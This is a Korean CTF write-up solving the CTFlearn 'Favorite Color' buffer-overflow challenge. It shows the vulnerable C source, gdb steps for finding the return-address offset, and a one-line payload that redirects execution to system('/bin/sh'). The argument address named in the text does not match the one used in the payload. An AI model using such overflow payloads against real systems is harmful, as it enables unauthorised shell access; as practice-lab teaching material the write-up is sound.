워게임/CTFlearn

[CTFlearn] Favorite Color - 포너블 / 버퍼오버플로우 / gdb

SecurityMan 2023. 2. 14. 11:00

 

CTFlearn의 예순 여덟번째 문제

 

이번엔 Medium 난이도의 포너블 문제이다.

 

반응형

 

ssh 로 원격 접속할 수 있는 주소가 하나 주어진다.

 

 

주어진 명령어를 그대로 입력하고

 

비밀번호인 guest 를 입력하면

 

문제 서버에 원격으로 접속할 수 있다.

 

 

문제 서버에는 color, color.c, flag.txt, Makefile 파일이 있다.

 

 

문제의 목표는 flag.txt 파일의 내용을 읽는 것이다.

 

cat 명령어를 사용해서 읽어보려 했더니

 

권한이 없어서 읽을 수가 없었다.

 

 

이번엔 color 바이너리를 실행시켜 보았다.

 

Enter your favorite color : 이라는 문구가 출력되면서

 

사용자의 입력을 받는다.

 

red 라고 입력해봤더니 틀린 답이라는 문구가 나온다.

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int vuln() {
    char buf[32];
    
    printf("Enter your favorite color: ");
    gets(buf);
    
    int good = 0;
    for (int i = 0; buf[i]; i++) {
        good &= buf[i] ^ buf[i];
    }
    
    return good;
}

int main(char argc, char** argv) {
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    
    //disable buffering.
    setbuf(stdout, NULL);
    
    if (vuln()) {
        puts("Me too! That's my favorite color too!");
        puts("You get a shell! Flag is in flag.txt");
        system("/bin/sh");
    } else {
        puts("Boo... I hate that color! :(");
    }
}

 

다음으로 color.c 파일의 내용을 확인해 봤다.

 

color 바이너리의 소스코드인데

 

대략적인 내용을 살펴본다.

 

먼저 vuln() 함수를 살펴보면

 

크기가 32 인 buf 배열을 선언하고

 

gets() 로 사용자의 입력을 받는다.

 

그런데 입력을 받을 때 입력값의 길이를 별도로 체크하지 않기 때문

 

버퍼 오버플로우 취약점이 발생한다.

 

다음부분이 특이한데

 

good 변수에 0 을 집어넣고,

 

buf 에 저장된 사용자의 입력값을 buf[i] ^ buf[i] 연산을 해서

 

그 결과를 good 과 &(and) 연산을 한 뒤 다시 good 에 저장한다.

 

이렇게 하면 buf에 어떤 값을 넣든지 결국 good 에 저장되는 값은 0이다.

 

같은 값을 XOR 하면 0이고, 0과 AND 하면 0이기 때문이다.

 

따라서 vuln() 함수는 항상 0을 리턴한다.

 

main() 함수를 보면

 

vuln() 함수의 실행 결과가 1인 경우에 /bin/sh 가 실행되어 쉘을 획득할 수 있도록 해놨다.

 

버퍼오버플로우 취약점을 통해 vuln() 함수가 종료될때 if 문의 true 조건으로 들어가도록 만들어야 한다.

 

 

분석을 위해 서버 내에 있는 gdb 를 이용했다.

 

gdb ./color 라고 입력하면 된다.

 

 

가시성을 위해 set disassembly-flavor intel 이라면 명령어를 입력해줬다.

 

필요없다면 굳이 안해도 된다.

 

 

vuln 함수를 분석하기 위해 

 

b vuln 이라고 입력해 vuln 함수 시작부분에 브레이크 포인트를 걸어 주었다.

 

 

그다음 color 를 실행시켜줬다.

 

r 만 입력하면 실행이 되는데

 

실행하면서 a 를 buf 의 크기인 32개만큼 보내가 위해

 

r <<< $(python -c 'print "a"*32')  라고 입력해줬다.

 

이러면 실행하면서 자동으로 사용자 입력값을 넣을 수 있다.

 

실행하면 vuln 에서 브레이크 포인트가 걸리는 것을 볼 수 있다.

 

 

ni 를 몇번 입력해서 넘어가다가

 

x/80wx $esp 명령어로 스택을 보면

 

입력했던 a 가 32개 들어가 있는것을 볼 수 있다.

 

0x61 하나가 소문자 a 를 의미한다.

 

 

disas vuln 으로 vuln 함수를 살펴본다.

 

지금까지 진행된 부분이 0x080485ad 이고,

 

소스코드에서 봤던 반복문은 0x080485c0 ~ 0x080485da 이다.

 

반복문이 끝나는 0x080485dd 부분에 브레이크 포인트를 걸고,

 

그 부분까지 진행시킨 뒤 스택을 다시 한번 본다.

 

 

b *0x080485dd 라고 입력한 뒤,

 

n 이라고 입력하면

 

위의 기능을 수행할 수 있다.

 

 

아까처럼 0x61 이 32개 보이고

 

그 뒷부분이 0x00000021 로 바꼈다.

 

십진수로 바꾸면 33 인데, 

 

이건 소스코드에서 

 

 

이 i 변수의 값을 의미한다.

 

버퍼오버플로우를 할때 무작정 이부분을 덮어써서 good 변수를 1으로 만들려는 시도는

 

통하지 않는다.

 

 

bt 명령어를 입력해서 vuln 함수가 리턴하는 main 함수의 주소를 살펴본다.

 

0x08048653 이라고 나와있는데

 

스택에서 같은 값을 찾으면 0x61 이 시작하는 지점부터 

 

52칸 떨어져 있는것을 볼 수 있다.

 

0x08048653 를 다른 값으로 덮어 써야 한다.

 

 

어떤 값으로 덮어 써야 하는지는 disas main 에서 찾을 수 있다.

 

main 함수에서 system 함수를 호출하는 부분을 찾으면 된다.

 

그때 주소인 0x0804867f 를 기억해 준다.

 

뿐만아니라 system 함수가 /bin/sh 라는 인수를 가지므로

 

그것의 값인 한칸 위의 0x0804867a 도 기억해 둔다.

 

(python -c 'print "a"*52 +"\x7f\x86\x04\x08"+ "\x99\x87\x04\x08"';cat)|./color

 

페이로드는 이렇게 작성할 수 있다.

 

a 를 52개 써서 버퍼를 ret 주소앞까지 채워주고,

 

system 함수의 주소와 /bin/sh 의 주소를 순서대로 써주면 된다.

 

여기서 주의할 점은 리틀 엔디안 방식이기 때문에

 

끝에서부터 두개씩 써줘야 한다는 것이다.

 

 

이렇게 입력하면

 

system("/bin/sh") 가 실행되어 root 권한으로 쉘을 획득할 수 있고

 

cat flag.txt 명령어도 사용할 수 있게 된다.

반응형